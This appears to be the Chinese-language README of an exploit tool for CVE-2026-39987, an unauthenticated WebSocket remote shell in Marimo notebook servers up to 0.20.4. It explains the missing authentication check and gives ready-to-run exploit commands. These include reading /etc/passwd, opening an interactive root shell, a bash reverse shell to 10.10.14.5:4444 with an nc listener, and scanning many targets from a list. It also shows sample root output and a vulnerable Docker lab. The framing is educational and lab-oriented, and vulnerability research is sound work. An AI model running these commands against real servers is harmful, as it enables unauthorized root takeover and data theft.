_______ ________ ___ ____ ___ _____ _____ ____ ____ ____
/ ____/ | / / ____/ |__ \ / __ \__ \ / ___/ |__ // __ \/ __ \( __ )
/ / | | / / __/________/ // / / /_/ // __ \______ /_ </ /_/ / /_/ / __ |
/ /___ | |/ / /__/_____/ __// /_/ / __// /_/ /_____/__/ /\__, /\__, / /_/ /
\____/ |___/_____/ /____/\____/____/\____/ /____//____//____/\____/
WebSocket 未认证 RCE | github.com/Ghxstsec/CVE-2026-39987
Marimo(19.6k ⭐)是一个开源的反应式 Python 笔记本服务器。≤ 0.20.4 版本暴露了一个终端 WebSocket 端点(/terminal/ws),该端点完全跳过了身份验证,即使服务器上已启用认证。
一个未认证的 WebSocket 连接即可获得完整的 PTY 交互式 shell。在默认的 Docker 部署中,命令以 root 身份执行。
状态: 已在
0.23.0中修复 — marimo-team/marimo@c24d480
/terminal/ws 端点缺少其他所有已认证端点中存在的 validate_auth() 调用:
# ❌ /terminal/ws — 无认证检查(存在漏洞)
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
app_state = AppState(websocket)
if app_state.mode != SessionMode.EDIT:
await websocket.close(...)
return
# 无认证检查!
await websocket.accept() # 直接接受
child_pid, fd = pty.fork() # 生成 PTY shell
# ✅ /ws — 正确认证
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
app_state = AppState(websocket)
validator = WebSocketConnectionValidator(websocket, app_state)
if not await validator.validate_auth(): # 强制认证
return
Marimo 的 AuthenticationMiddleware 将未认证的连接标记为 UnauthenticatedUser,但不会拒绝它们 — 强制认证完全依赖于每个端点的装饰器或 validate_auth() 调用。/terminal/ws 两者都没有。
1. 连接到 ws(s)://TARGET/terminal/ws → 无需令牌
2. websocket.accept() → 连接被接受
3. pty.fork() → 生成 PTY shell
4. 发送任意命令 → 以 root 身份执行任意 RCE
| 软件 | 受影响 | 已修复 |
|---|---|---|
| Marimo | ≤ 0.20.4 | ≥ 0.23.0 |
pip install -r requirements.txt
python3 CVE-2026-39987.py -u https://target.htb
python3 CVE-2026-39987.py -u target.htb:2718
python3 CVE-2026-39987.py -u wss://target.htb/terminal/ws
python3 CVE-2026-39987.py -u target.htb -c "cat /root/root.txt"
python3 CVE-2026-39987.py -u target.htb -c "cat /etc/passwd"
直接通过 WebSocket 进入交互式 shell — 无需监听器:
python3 CVE-2026-39987.py -u target.htb -i
[+] 交互式 shell — 输入命令,按 Ctrl+C 或输入 'exit' 退出
root@target:/# id
uid=0(root) gid=0(root) groups=0(root)
root@target:/# whoami
root
使用反弹 shell 载荷时,使用 nohup ... & 将进程从 PTY 中分离,
以便在 WebSocket 连接关闭后进程仍然存活:
# 先设置监听器
nc -lvnp 4444
# 然后发送载荷
python3 CVE-2026-39987.py -u target.htb \
-c "nohup bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1' &"
⚠️ 如果不使用
nohup ... &,shell 进程将与 PTY 绑定,当 WebSocket 关闭时进程会被终止。使用-i获取直接 shell,或使用nohup进行反弹 shell。
python3 CVE-2026-39987.py -l targets.txt -c "id" -t 3
-u URL, --url URL 单个目标 URL 或主机
-l LIST, --list LIST 包含目标的文件,每行一个
-c CMD, --cmd CMD 要执行的命令(默认:id && cat /root/root.txt)
-p PATH, --path PATH WebSocket 端点路径(默认:/terminal/ws)
-t SEC, --timeout SEC 放弃前的静默秒数(默认:2)
-d SEC, --delay SEC 连接后清空横幅前的延迟(默认:1)
-i, --interactive 交互式 PTY shell — 保持连接打开
--verify 启用 SSL 证书验证(默认禁用)
-q, --quiet 抑制状态消息,仅输出结果
$ python3 CVE-2026-39987.py -u https://nb-1be3782a8afd3ad5.cohort.htb
_______ ________ ___ ____ ___ _____ _____ ____ ____ ____
/ ____/ | / / ____/ |__ \ / __ \__ \ / ___/ |__ // __ \/ __ \( __ )
/ / | | / / __/________/ // / / /_/ // __ \______ /_ </ /_/ / /_/ / __ |
/ /___ | |/ / /__/_____/ __// /_/ / __// /_/ /_____/__/ /\__, /\__, / /_/ /
\____/ |___/_____/ /____/\____/____/\____/ /____//____//____/\____/
[*] 目标 : wss://nb-1be3782a8afd3ad5.cohort.htb/terminal/ws
[*] 模式 : command
[*] 命令 : id && cat /root/root.txt
[*] 正在连接...
[*] 正在清空横幅...
[+] 正在发送载荷...
[+] 输出:
uid=0(root) gid=0(root) groups=0(root)
HTB{...}
FROM python:3.12-slim
RUN pip install --no-cache-dir marimo==0.20.4
RUN mkdir -p /app/notebooks
RUN echo 'import marimo as mo; app = mo.App()' > /app/notebooks/test.py
WORKDIR /app/notebooks
EXPOSE 2718
CMD ["marimo", "edit", "--host", "0.0.0.0", "--port", "2718", "."]
docker build -t marimo-vuln .
docker run -p 2718:2718 marimo-vuln
python3 CVE-2026-39987.py -u ws://localhost:2718
本工具仅供教育和授权渗透测试目的使用。
作者不对因使用本工具造成的任何滥用或损害负责。
在测试任何不属于您的系统之前,请务必获得适当的授权。